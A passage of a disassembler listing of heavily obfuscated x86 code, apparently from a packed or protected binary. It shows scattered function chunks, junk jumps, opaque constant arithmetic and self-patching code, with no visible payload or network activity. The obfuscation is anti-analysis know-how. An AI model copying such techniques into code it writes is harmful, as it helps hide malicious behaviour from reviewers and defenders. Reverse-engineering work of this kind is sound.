		rol	esi, 1
		xor	esi, 804C9B40h
		xchg	esi, [esp+0]

loc_441304:				; CODE XREF: sub_455400-13CF8j
		mov	eax, [ebp+8]
		jmp	loc_444CF9
; END OF FUNCTION CHUNK	FOR sub_43AEAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44130C:				; CODE XREF: sub_43FA59:loc_446DF8j
		push	eax
		call	sub_446CFB
		cmp	dword ptr [ebp-0Ch], 0
		jz	loc_45926B
		jmp	loc_44E0D6
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4533E7

loc_441321:				; CODE XREF: sub_4533E7+Dj
		mov	ds:dword_448944, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_4533E7
; ---------------------------------------------------------------------------

loc_441328:				; CODE XREF: dviuq5id:0043BFD0j
		jmp	loc_44FA39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F10

loc_44132D:				; CODE XREF: sub_441F10+Cj
		rol	eax, 17h
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+4+var_4]
		jmp	loc_450F6B
; END OF FUNCTION CHUNK	FOR sub_441F10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C441

loc_44133B:				; CODE XREF: sub_44C441+Bj
		jle	loc_449056
		mov	eax, [ebp-4]
		xor	edx, edx
		push	edx
		push	eax
		push	offset loc_455085
		jmp	nullsub_80
; END OF FUNCTION CHUNK	FOR sub_44C441
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_441352:				; CODE XREF: sub_44EAC4-14860j
					; sub_44EAC4:loc_445DA7j
		lea	eax, [ebp-800h]
		push	eax
		push	ecx
		push	394C2B52h
		jmp	loc_453DA2
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A94D

loc_441364:				; CODE XREF: sub_44A94D-94Aj
		pop	edi
		or	esi, 9743D01Ah
		and	esi, 0F65F0DEBh
		xor	esi, 0FE4C2A59h
		add	esi, ecx
		add	esi, 0F7E0D5E5h
		jmp	loc_4501BC
; END OF FUNCTION CHUNK	FOR sub_44A94D
; ---------------------------------------------------------------------------

loc_441384:				; CODE XREF: dviuq5id:00457AACj
		jg	loc_4595EA
		sbb	edx, 41631F1Ch
		or	eax, edi
		and	esi, 0BE754A30h
		jmp	loc_43D993
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_44139D:				; CODE XREF: sub_439C09:loc_458E8Cj
		jl	loc_43968E
; END OF FUNCTION CHUNK	FOR sub_439C09
; START	OF FUNCTION CHUNK FOR sub_4592A8

loc_4413A3:				; CODE XREF: sub_4592A8+6j
		jmp	loc_455885
; END OF FUNCTION CHUNK	FOR sub_4592A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_4413A8:				; CODE XREF: sub_44084F+13816j
		jmp	sub_4463B7
; END OF FUNCTION CHUNK	FOR sub_44084F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_4413AD:				; CODE XREF: sub_442BFE+9j
		jmp	loc_44604A
; END OF FUNCTION CHUNK	FOR sub_442BFE
; ---------------------------------------------------------------------------
		sub	edi, 5EEB68D6h
		js	loc_43A469
		jmp	loc_439689
; ---------------------------------------------------------------------------

loc_4413C3:				; CODE XREF: dviuq5id:00459CCBj
		shl	ebp, 10h

; =============== S U B	R O U T	I N E =======================================



sub_4413C6	proc near		; CODE XREF: sub_445707-8F22p

; FUNCTION CHUNK AT 0044B702 SIZE 0000000A BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [ebp-18h]
		add	eax, eax
		jmp	loc_44B702
sub_4413C6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4530E7

loc_4413D4:				; CODE XREF: sub_4530E7+Bj
		add	esp, 8
		jmp	loc_44EDDB
; END OF FUNCTION CHUNK	FOR sub_4530E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477D7

loc_4413DC:				; CODE XREF: sub_4477D7+1129Dj
		test	edi, 3D8A291Dh
		jmp	loc_443918
; END OF FUNCTION CHUNK	FOR sub_4477D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_4413E7:				; CODE XREF: sub_44B2EA+EC33j
		mov	edx, 8C71C34Ch
		push	edi
		mov	[ebx], ecx
		cdq
		jmp	loc_454D4A
; END OF FUNCTION CHUNK	FOR sub_44B2EA

; =============== S U B	R O U T	I N E =======================================



sub_4413F5	proc near		; DATA XREF: dviuq5id:0043B4EAo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00442035 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0044E555 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0045735E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00457AB1 SIZE 0000000B BYTES

		test	eax, eax
		jnz	loc_44150B
		jmp	loc_457AB1
sub_4413F5	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45169D

loc_441403:				; CODE XREF: sub_45169D-D5D8j
		jmp	loc_457BB5
; END OF FUNCTION CHUNK	FOR sub_45169D
; ---------------------------------------------------------------------------

locret_441408:				; CODE XREF: dviuq5id:0044D65Bj
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_209. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44140A:				; CODE XREF: dviuq5id:0044C64Ej
		jl	loc_4584A8
; START	OF FUNCTION CHUNK FOR sub_448F69

loc_441410:				; CODE XREF: sub_448F69-6EB9j
					; sub_44E1C0:loc_44844Bj
		jmp	nullsub_96
; END OF FUNCTION CHUNK	FOR sub_448F69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_441415:				; CODE XREF: sub_44B99E-AF90j
		jmp	loc_441BA0
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------
		mov	ebp, [esi]
		pop	edi
		jmp	loc_4584A8
; ---------------------------------------------------------------------------
		and	ebx, 0D19C71ACh
		jmp	sub_4440CA

; =============== S U B	R O U T	I N E =======================================



sub_44142D	proc near		; CODE XREF: dviuq5id:00440254j
					; sub_442BFE+15FBp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044484E SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00445638 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457664 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	5E9D5607h
		pop	esi
		jmp	loc_457664
sub_44142D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	edx
		mov	edx, ebp
		xchg	edx, [esp]
		mov	ebp, eax
		jmp	loc_43D3B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_441449:				; CODE XREF: sub_440898+11393j
		add	eax, ebp
		add	eax, 0F9AA549Ch
		mov	dword ptr [eax], 737361h
		push	0
		push	124C365h
		pop	eax
		rol	eax, 5

loc_441462:				; CODE XREF: sub_43BA0E:loc_457BF1j
		cmp	eax, 9A1115CFh
		jmp	loc_44C7F2
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------

loc_44146D:				; CODE XREF: dviuq5id:0043BAAFj
		xchg	ecx, [esi]
		xor	ebp, 1B6DABC2h
; START	OF FUNCTION CHUNK FOR sub_4543C5

loc_441475:				; CODE XREF: sub_4543C5:loc_43BAA0j
		sub	edx, 1FFC67ADh
		add	edx, 81791AACh
		xchg	edx, [esp+0]
		jmp	loc_44641D
; END OF FUNCTION CHUNK	FOR sub_4543C5
; ---------------------------------------------------------------------------
		mov	ds:dword_41D06C, eax
		lea	eax, nullsub_475
		call	sub_442994

loc_44149A:				; CODE XREF: dviuq5id:004436BBj
		jbe	loc_45A35B
		jl	loc_440A88
		test	ebp, 78C16D2Eh
		jmp	loc_44D6D7
; ---------------------------------------------------------------------------

loc_4414B1:				; CODE XREF: dviuq5id:00448F3Bj
		cmp	ebp, eax
		jmp	loc_44773A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443CFF

loc_4414B8:				; CODE XREF: sub_443CFF+BEF0j
		push	offset sub_4452B9
		jmp	nullsub_111
; END OF FUNCTION CHUNK	FOR sub_443CFF
; ---------------------------------------------------------------------------

loc_4414C2:				; CODE XREF: dviuq5id:0044400Dj
		sub	edi, 0ED5AA96Ah

; =============== S U B	R O U T	I N E =======================================



sub_4414C8	proc near		; CODE XREF: dviuq5id:loc_43EB02p

; FUNCTION CHUNK AT 0043E00D SIZE 00000017 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	edx
		push	807006Dh
		pop	edx
		add	edx, 35693820h
		xor	edx, 855DFB44h
		jmp	loc_43E00D
sub_4414C8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_4414E4:				; CODE XREF: sub_43FDFB:loc_44E4E1j
		mov	esi, [edx]
		xor	eax, 348754C9h
		jmp	loc_45371A
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------

loc_4414F1:				; CODE XREF: dviuq5id:loc_44892Dj
		test	ebx, 80h
		jmp	loc_45894E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455400

loc_4414FC:				; CODE XREF: sub_455400:loc_44187Cj
		sub	ebp, esi
		jmp	loc_44C962
; END OF FUNCTION CHUNK	FOR sub_455400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_441503:				; CODE XREF: sub_44460F+10001j
		jge	loc_444A68
		sbb	edx, ebp

loc_44150B:				; CODE XREF: sub_44460F:loc_43C13Bj
					; sub_4413F5+2j ...
		mov	eax, 6F7h

loc_441510:				; CODE XREF: dviuq5id:00444A53j
		call	sub_44B6BE
		jns	loc_450766
		add	eax, 7D0h
		jmp	loc_4534CC
; END OF FUNCTION CHUNK	FOR sub_44460F

; =============== S U B	R O U T	I N E =======================================



sub_441525	proc near		; CODE XREF: dviuq5id:004482EDj
					; dviuq5id:0044B9BDp

; FUNCTION CHUNK AT 00453E27 SIZE 00000011 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	ecx
		push	0ABB97F1Ah
		jmp	loc_453E27
sub_441525	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459490

loc_441534:				; CODE XREF: sub_459490:loc_444B63j
		jnz	loc_444E48
		jmp	loc_449B4B
; END OF FUNCTION CHUNK	FOR sub_459490
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D28E

loc_44153F:				; CODE XREF: sub_43D28E-205j
		sbb	ecx, eax

loc_441541:				; CODE XREF: sub_43D28E:loc_453E7Aj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_441C24
		jmp	loc_44E0DB
; END OF FUNCTION CHUNK	FOR sub_43D28E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_441552:				; CODE XREF: sub_44460F:loc_4534CCj
		mov	[ebp-8], eax
		push	2
		push	edi
		push	1B543C92h
		xchg	edx, [esp+8+var_8]
		mov	edi, edx
		pop	edx
		add	edi, ds:4000FAh
		jmp	loc_457A17
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A015

loc_44156E:				; CODE XREF: sub_44A015:loc_4436B4j
		or	ebx, 90FFA598h
		xor	ebx, 0D3378DF6h
		sub	ebx, ds:4000F3h
		or	ebx, 0D7C8B2D5h
		js	loc_453900

loc_44158C:				; CODE XREF: sub_44BE59+Aj
		jmp	loc_44AB03
; END OF FUNCTION CHUNK	FOR sub_44A015
; ---------------------------------------------------------------------------
		sub	edi, 8794E8E3h
		jmp	loc_4538FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E08B

loc_44159C:				; CODE XREF: sub_43E08B:loc_44266Cj
		push	esi
		push	3EB5DABFh
		pop	esi
		xor	esi, 0F0A500F4h
		sub	esi, 0DA271F66h
		jmp	loc_44FC7C
; END OF FUNCTION CHUNK	FOR sub_43E08B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A4C9

loc_4415B4:				; CODE XREF: sub_45A4C9:loc_43B3A9j
		jz	loc_457190
		jmp	loc_44671C
; END OF FUNCTION CHUNK	FOR sub_45A4C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_4415BF:				; CODE XREF: sub_43FA59-2EE0j
		jnz	loc_447DC5
		jmp	loc_455C61
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454E7C

loc_4415CA:				; CODE XREF: sub_454E7C:loc_4578A3j
		cmp	ebp, 64EE8027h
		jmp	loc_4572EF
; END OF FUNCTION CHUNK	FOR sub_454E7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457724

loc_4415D5:				; CODE XREF: sub_457724+1j
		xchg	ebp, [ecx]
		sub	edx, edi
; END OF FUNCTION CHUNK	FOR sub_457724
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_4415D9:				; CODE XREF: sub_44514D:loc_450453j
		call	sub_456F43
		mov	edx, 0F2B89A19h
		call	sub_449EB7
		push	eax
; END OF FUNCTION CHUNK	FOR sub_44514D
; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_4415E9:				; CODE XREF: sub_44AB80:loc_448045j
		call	sub_451C30

loc_4415EE:				; CODE XREF: sub_459970+Ej
		jmp	loc_443B29
; END OF FUNCTION CHUNK	FOR sub_44AB80
; ---------------------------------------------------------------------------

loc_4415F3:				; CODE XREF: dviuq5id:0044F1E3j
		jmp	locret_45424F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445437

loc_4415F8:				; CODE XREF: sub_445437-9107j
		jmp	loc_44AB98
; END OF FUNCTION CHUNK	FOR sub_445437
; ---------------------------------------------------------------------------
		push	8E241965h
		jmp	sub_458ABC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458192

loc_441607:				; CODE XREF: sub_458192+1j
		mov	eax, ebp
		xchg	eax, [esp+4+var_4]
		push	offset sub_440347
		jmp	loc_439586
; END OF FUNCTION CHUNK	FOR sub_458192
; ---------------------------------------------------------------------------
		ja	loc_452AE1
		jmp	sub_450407
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_441622:				; CODE XREF: sub_454094+2A16j
		jmp	loc_457A21
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F285

loc_441627:				; CODE XREF: sub_43F285-579Bj
		jmp	loc_4463CB
; END OF FUNCTION CHUNK	FOR sub_43F285
; ---------------------------------------------------------------------------

loc_44162C:				; DATA XREF: dviuq5id:0044A0B4o
		mov	[ebp-4], eax
		jmp	loc_448BC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_441634:				; CODE XREF: sub_43FDFB:loc_43B8FBj
		call	sub_43C2DA

loc_441639:				; CODE XREF: dviuq5id:004469BFj
		jno	loc_4411BC
		push	edi
		jmp	loc_43FF08
; END OF FUNCTION CHUNK	FOR sub_43FDFB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441645	proc near		; DATA XREF: sub_456F43o

var_14		= byte ptr -14h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00449DBF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044F79B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0045095D SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00450EAF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00455653 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp

loc_441648:				; CODE XREF: dviuq5id:0045A13Ej
		jnz	sub_441CEF
		add	esp, 0FFFFFFECh
		jmp	loc_45095D
sub_441645	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44250B

loc_441656:				; CODE XREF: sub_44250B:loc_450154j
		pop	eax
		jmp	loc_4564D7
; END OF FUNCTION CHUNK	FOR sub_44250B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_44165C:				; CODE XREF: sub_44846C-E42Ej
		jge	loc_44D052

loc_441662:				; CODE XREF: sub_44F51E-2692j
		jmp	loc_448A22
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------
		test	eax, ecx
		jmp	loc_44D04B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_44166E:				; CODE XREF: sub_440898+E6F4j
		jb	loc_43A632
		and	esi, 98D2D428h
		shl	esi, 18h
; END OF FUNCTION CHUNK	FOR sub_440898
; START	OF FUNCTION CHUNK FOR sub_452BBF

loc_44167D:				; CODE XREF: sub_4393C3+Fj
					; sub_44B70C+6j ...
		push	offset sub_43E603
		jmp	nullsub_191
; END OF FUNCTION CHUNK	FOR sub_452BBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_441687:				; CODE XREF: sub_43FA59:loc_458CABj
		popf
		mov	ecx, [edi]
		mov	edx, 0D3078AAAh
		jmp	loc_4569CE
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A6A4

loc_441694:				; CODE XREF: sub_44A6A4+9j
		pop	ebp
		push	offset loc_458DEC
		jmp	loc_4513DE
; END OF FUNCTION CHUNK	FOR sub_44A6A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_44169F:				; CODE XREF: sub_459385-1ECAEj
					; sub_459385:loc_43A75Ej
		call	sub_456F43
		mov	edx, 0CE3062ECh
		call	sub_449EB7
		push	eax
		call	sub_4436E3
		rol	ebp, 19h

loc_4416B7:				; CODE XREF: sub_449EB7:loc_44273Ej
		rol	ebx, 8
		and	ebx, 3FF0BE61h
		sub	ebx, 0EB050446h
		add	ebx, 0D4C9AC50h
		jmp	loc_439DBE
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E67F

loc_4416D1:				; CODE XREF: sub_44E67F-8D8Dj
					; dviuq5id:0044B3A9j
		jnb	loc_43C827

loc_4416D7:				; CODE XREF: sub_44E67F:loc_4458E6j
		add	ebx, 0BC3F3E9Ah
		xchg	ebx, [esp+0]
		jmp	loc_459914
; END OF FUNCTION CHUNK	FOR sub_44E67F
; ---------------------------------------------------------------------------
		pop	edi
		jmp	loc_44DFB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_4416EB:				; CODE XREF: sub_43C4B5:loc_43AA84j
		mov	ecx, eax

loc_4416ED:				; CODE XREF: dviuq5id:loc_453620j
		call	sub_43A449
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_4416F2:				; CODE XREF: sub_44EAC4+61E9j
		jmp	loc_44FAA5
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450407

loc_4416F7:				; CODE XREF: sub_450407-380Ej
		jmp	loc_44CF45
; END OF FUNCTION CHUNK	FOR sub_450407
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455400

loc_4416FC:				; CODE XREF: sub_455400-1835Cj
		adc	edx, 6F437B7h

loc_441702:				; CODE XREF: sub_455400:loc_4424B7j
		push	0
		push	0
		push	10h
		jmp	loc_441304
; END OF FUNCTION CHUNK	FOR sub_455400
; ---------------------------------------------------------------------------

loc_44170D:				; CODE XREF: dviuq5id:00444302j
		adc	ebp, ebx
		xor	esi, 9D09BCA1h
		rol	ebx, 0Eh
		jmp	loc_45241C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458D9A

loc_44171D:				; CODE XREF: sub_458D9A-13328j
		and	eax, ds:4000F4h
		rol	eax, 2
		and	eax, 72B7B9A8h
		add	eax, 0DD800981h
		add	eax, ebp
		add	eax, 0E1FFC677h
; END OF FUNCTION CHUNK	FOR sub_458D9A
; START	OF FUNCTION CHUNK FOR sub_44D45B

loc_44173A:				; CODE XREF: sub_44D45B:loc_447891j
		mov	eax, [eax]
		popf
		jmp	loc_4477AA
; END OF FUNCTION CHUNK	FOR sub_44D45B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C0B

loc_441742:				; CODE XREF: sub_447C0B:loc_447760j
		mov	ecx, [esp+arg_C]
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_4399AF
		push	esi
		push	0F731C084h
		jmp	loc_445765
; END OF FUNCTION CHUNK	FOR sub_447C0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454FA5

loc_44175D:				; CODE XREF: sub_454FA5+Cj
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jnb	loc_45264D
		sub	al, 99h
; END OF FUNCTION CHUNK	FOR sub_454FA5
; START	OF FUNCTION CHUNK FOR sub_44279B

loc_44176D:				; CODE XREF: sub_44279B+9j
		jmp	loc_444160
; END OF FUNCTION CHUNK	FOR sub_44279B

; =============== S U B	R O U T	I N E =======================================



sub_441772	proc near		; DATA XREF: sub_44E491:loc_440050o
		call	sub_43C4B5
		push	esi
		push	offset loc_44E6F2
		jmp	nullsub_419
sub_441772	endp

; ---------------------------------------------------------------------------

loc_441782:				; CODE XREF: dviuq5id:00455DC0j
		add	edx, 0EFD80566h

; =============== S U B	R O U T	I N E =======================================



sub_441788	proc near		; CODE XREF: sub_450F3F-13FA1p

; FUNCTION CHUNK AT 0044859B SIZE 00000029 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	ecx
		jmp	loc_44859B
sub_441788	endp

; ---------------------------------------------------------------------------

locret_441792:				; CODE XREF: dviuq5id:00450D07j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C085

loc_441793:				; CODE XREF: sub_44C085-5F12j
		jmp	loc_443695
; END OF FUNCTION CHUNK	FOR sub_44C085
; ---------------------------------------------------------------------------

loc_441798:				; CODE XREF: dviuq5id:00448881j
		mov	[ecx], edx
		pop	ecx

loc_44179B:				; CODE XREF: dviuq5id:0043D5DEj
					; dviuq5id:loc_44B129j
		xchg	eax, edx
		push	ecx
		push	80EFC0B3h
		xchg	edi, [esp]
		mov	ecx, edi
		pop	edi
		jmp	loc_45A321
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44297E

loc_4417AD:				; CODE XREF: sub_44297E+A79Aj
		and	ebp, edi
		popf

loc_4417B0:				; CODE XREF: dviuq5id:loc_44F91Bj
		call	sub_440D0D
		test	al, al
		jz	loc_453523
		jmp	loc_449044
; END OF FUNCTION CHUNK	FOR sub_44297E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4396BB

loc_4417C2:				; CODE XREF: sub_4396BB:loc_4409E2j
					; sub_4396BB+1EAFAj
		call	sub_44124F
; END OF FUNCTION CHUNK	FOR sub_4396BB
; START	OF FUNCTION CHUNK FOR sub_43E9E7

loc_4417C7:				; CODE XREF: sub_43E9E7-24B5j
		jmp	loc_454BC9
; END OF FUNCTION CHUNK	FOR sub_43E9E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F236

loc_4417CC:				; CODE XREF: sub_43F236+191E4j
		ror	edx, 0Bh
		push	0E09EDE3h
		jnp	loc_44262F
		pushf
		jmp	loc_457749
; END OF FUNCTION CHUNK	FOR sub_43F236
; ---------------------------------------------------------------------------

loc_4417E0:				; DATA XREF: sub_4581C4+5o
		push	7E8EEE1Ah
		pop	ecx
		and	ecx, 4795B92Ah
		jnz	loc_455294
		mov	esi, [ebx]
		jmp	loc_45528E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_4417F9:				; CODE XREF: sub_451EEC:loc_450EE7j
		call	sub_441F76

loc_4417FE:				; CODE XREF: dviuq5id:004589A1j
		jmp	loc_4396A2
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------

loc_441803:				; CODE XREF: dviuq5id:00458772j
		jmp	loc_4409BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EF1D

loc_441808:				; CODE XREF: sub_43EF1D+189B7j
		jmp	loc_441E52
; END OF FUNCTION CHUNK	FOR sub_43EF1D
; ---------------------------------------------------------------------------

loc_44180D:				; CODE XREF: dviuq5id:loc_44C431j
		jz	loc_458283
		jmp	loc_43E884
; ---------------------------------------------------------------------------

loc_441818:				; CODE XREF: dviuq5id:00458830j
		mov	[ebx], ebp

; =============== S U B	R O U T	I N E =======================================



sub_44181A	proc near		; CODE XREF: sub_43C5CC:loc_43A69Fp

; FUNCTION CHUNK AT 00458A0E SIZE 00000013 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [ebp-4]
		jmp	loc_458A0E
sub_44181A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432C4

loc_441826:				; CODE XREF: sub_4432C4:loc_448AD3j
		jnz	loc_452B6D
		jmp	loc_43A97C
; END OF FUNCTION CHUNK	FOR sub_4432C4
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_44952D
		mov	eax, 0B2EE4EE4h
		call	sub_43A1AA

loc_441845:				; CODE XREF: dviuq5id:0043D64Cj
		jmp	loc_443197
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_44184A:				; CODE XREF: sub_439C09+1DB7j
		or	eax, edi
		not	edx
		jmp	loc_4457F2
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------

loc_441853:				; CODE XREF: dviuq5id:0044ABF9j
		jb	loc_458D4A

loc_441859:				; CODE XREF: dviuq5id:loc_444BCFj
		call	sub_45A003
; ---------------------------------------------------------------------------

loc_44185E:				; CODE XREF: dviuq5id:0045821Bj
		jmp	loc_44E502
; ---------------------------------------------------------------------------
		mov	ds:off_41D0D0, eax
		lea	eax, sub_43DB63
		mov	byte ptr [eax],	0C3h
		jmp	sub_43DB63
; ---------------------------------------------------------------------------

loc_441877:				; CODE XREF: dviuq5id:loc_4547C3j
		call	sub_4434D4
; START	OF FUNCTION CHUNK FOR sub_455400

loc_44187C:				; CODE XREF: sub_455400-46D7j
		jmp	loc_4414FC
; END OF FUNCTION CHUNK	FOR sub_455400

; =============== S U B	R O U T	I N E =======================================



sub_441881	proc near		; CODE XREF: dviuq5id:0043BF35j
					; sub_454094:loc_4597C9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043A9AA SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0043F294 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00446796 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044CE28 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044FA34 SIZE 00000005 BYTES

		xchg	esi, [esp-8+arg_4]
		pop	esi
		xchg	edx, [esp+0]
		mov	eax, edx
		jmp	loc_43A9AA
sub_441881	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		shl	edx, 0Eh
		mov	edx, edi
		jmp	sub_451C30
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_319. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44189A:				; DATA XREF: sub_446A9C-D8FBo
		xchg	eax, [esp]
		mov	ebp, eax
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450443

loc_4418A1:				; CODE XREF: sub_450443+Bj
		jmp	nullsub_516
; END OF FUNCTION CHUNK	FOR sub_450443
; ---------------------------------------------------------------------------

loc_4418A6:				; CODE XREF: dviuq5id:0044E08Cj
		jmp	sub_450519
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD5

loc_4418AB:				; CODE XREF: sub_43D393+7j
					; sub_459804-14498j ...
		inc	dword ptr [ebp-20h]
		dec	dword ptr [ebp-2Ch]
		jnz	loc_459813
		jmp	loc_457B8E
; END OF FUNCTION CHUNK	FOR sub_43CBD5
; ---------------------------------------------------------------------------
		push	0B4AB442h
		shr	edx, 10h
		jmp	loc_456AB0
; ---------------------------------------------------------------------------

loc_4418C9:				; CODE XREF: dviuq5id:0043BC3Bj
		adc	edx, 0AF1F8839h

; =============== S U B	R O U T	I N E =======================================



sub_4418CF	proc near		; CODE XREF: sub_43C9A9:loc_44CC39p

; FUNCTION CHUNK AT 0043914E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A0D0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442218 SIZE 0000000E BYTES
